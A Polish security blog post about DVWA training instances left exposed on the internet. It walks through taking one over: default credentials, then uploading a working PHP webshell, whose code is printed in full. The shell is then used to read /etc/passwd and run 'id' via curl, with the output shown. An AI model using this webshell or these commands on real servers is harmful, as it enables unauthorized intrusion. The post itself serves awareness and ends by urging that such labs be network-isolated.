Kroniki Shodana: Damn Vulnerable Web Application (DVWA)
Napisał: Patryk Krawaczyński
07/01/2020 w Pen Test Brak komentarzy. (artykuł nr 715, ilość słów: 763)
D
amn Vulnerable Web App (DVWA) jest aplikacją internetową napisaną w języku PHP (jako bazę wykorzystuje MySQL), która jest bardzo podatna na różne ataki. Jej głównym celem jest pomoc różnego specjalistom ds. bezpieczeństwa na różnym poziomie rozwoju w testowaniu swoich umiejętności i narzędzi na specjalnie przygotowanym do tego środowisku. Zarazem twórcy stron internetowych mogą za jej pomocą lepiej zrozumieć procesy zabezpieczenia aplikacji internetowych.
Jest ona bardzo popularna wśród początkujących pentesterów i bughunterów, ponieważ pozwala na przećwiczenie niektórych z najczęstszych luk w zabezpieczeniach webaplikacji, o różnym stopniu trudności – w dodatku posiada gotowy interfejs GUI i można ją zainstalować na prostym serwerze LAMP. Jeśli poczytamy sobie oficjalne repozytorium tego rozwiązania to zaraz jako drugi punkt zobaczymy duży napis WARNING! (OSTRZEŻENIE!), które mówi to tym, że Damn Vulnerable Web Application jest cholernie podatna na ataki! I nie należy instalować jej w publicznym katalogu dostawcy usług hostingowych ani na żadnym serwerze podłączonym do internetu, ponieważ mogą zostać one skompromitowane i przejęte. Jeśli chcemy skorzystać z tego, legalnego prawnie poligonu doświadczalnego najlepiej zainstalować go na maszynie wirtualnej lub kontenerze, które posiadają dostęp do sieci w trybie NAT i kontakt z taką instalacja z publicznych sieci jest niemożliwy.
Niestety nie wszyscy czytają instrukcję obsługi zanim dokonają uruchomienia produktu. W momencie pisania tego artykułu w internecie jest dostępnych około 500 (lub 1150) serwerów zawierających w treści HTML swoich stron frazę: Login :: Damn Vulnerable Web Application (DVWA), czyli główny panel logowania DVWA.
Przejęcie DVWA:
Zgodnie z ostrzeżeniem autora przejęcie DVWA i serwera, który ją obsługuje nie stanowi większego problemu. Standardowe dane do logowania w fabrycznej wersji to: admin / password i w większości przypadków nie zostają one zmienione, co umożliwia nam od razu dostanie się do “panelu sterowania” aplikacji. W zakładce Setup / Reset DB możemy dowiedzieć się o wielu rzeczach m.in. jakie są ustawienia i wersja PHP (7.0.30
), ścieżki dostępu do poszczególnych modułów (/var/www...
), wersja systemu operacyjnego (deb9
) itd.:
Operating system: *nix Backend database: MySQL PHP version: 7.0.30-0+deb9u1 Web Server SERVER_NAME: XX.XX.XX.XX PHP function display_errors: Disabled PHP function safe_mode: Disabled PHP function allow_url_include: Disabled PHP function allow_url_fopen: Enabled PHP function magic_quotes_gpc: Disabled PHP module gd: Installed PHP module mysql: Installed PHP module pdo_mysql: Installed MySQL username: app MySQL password: ****** MySQL database: dvwa MySQL host: 127.0.0.1 reCAPTCHA key: Missing [User: www-data] Writable folder /var/www/html/hackable/uploads/: Yes [User: www-data] Writable file /var/www/html/external/phpids/IDS/phpids_log.txt: Yes [User: www-data] Writable folder /var/www/html/config: Yes Status in red, indicate there will be an issue when trying to complete some modules. If you see disabled on either allow_url_fopen or allow_url_include, set the following in your php.ini file and restart Apache. allow_url_fopen = On allow_url_include = On These are only required for the file inclusion labs so unless you want to play with those, you can ignore them.
Dla nas najważniejszym jest, aby: [User: www-data] Writable folder
posiadało zieloną wartość Yes
. Jeśli teraz w zakładce DVWA Security przestawiamy poziom zabezpieczeń na wartość low będziemy mogli bez żadnej weryfikacji w zakładce File Upload wgrać dowolny webshell w języku PHP, który umożliwi nam wydawanie poleceń powłoki za pomocą żądań HTTP. Pierwszy, lepszy przykład takiego złośliwego skryptu to:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?>
Wgrywając taki plik na serwer z DVWA możemy go później wykorzystać do stworzenia odwróconej powłoki i pełnego uzyskania dostępu do serwera w celu dalszych prób eskalacji uprawnień. Zakładając, że nasz skrypt wgraliśmy pod nazwą: test.php – możemy go teraz wywołać z poziomu adresu URL i sprawdzić czy jesteśmy w stanie odczytać ogólnodostępne pliki systemowe:
http://XX.XX.XX.XX/hackable/uploads/test.php?cmd=cat+/etc/passwd
Jako odpowiedź powinniśmy otrzymać zawartość pliku /etc/passwd pochodzącego z serwera, na którym jest hostowana aplikacja internetowa:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
Możemy też sprawdzić z uprawnieniami, jakiego użytkownika wydajemy polecenia:
agresor@darkstar:~$ curl -s http://XX.XX.XX.XX/hackable/uploads/test.php?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Podsumowanie:
Jeśli interesuje nas doskonalenie swoich umiejętności na specjalnie dostosowanych do tego celu środowiskach – należy mieć na uwadze, że powinny one być odseparowane sieciowo od publicznego ruchu. Ze względu na popularność i łatwość przejęcia takich środowisk – pozostawianie ich na “widoku” to otwarte zaproszenie do przejęcia serwera. O ile nie chodzi nam o specjalne wystawienie takiego rozwiązania jako honeypot w odizolowanym otoczeniu – to powinniśmy zawsze korzystać z wirtualnych lub skonteneryzowanych maszyn o ograniczonej dostępności sieciowej.
Więcej informacji: DVWA backdoor, Create Your First Ethical Hacking Environment with DVWA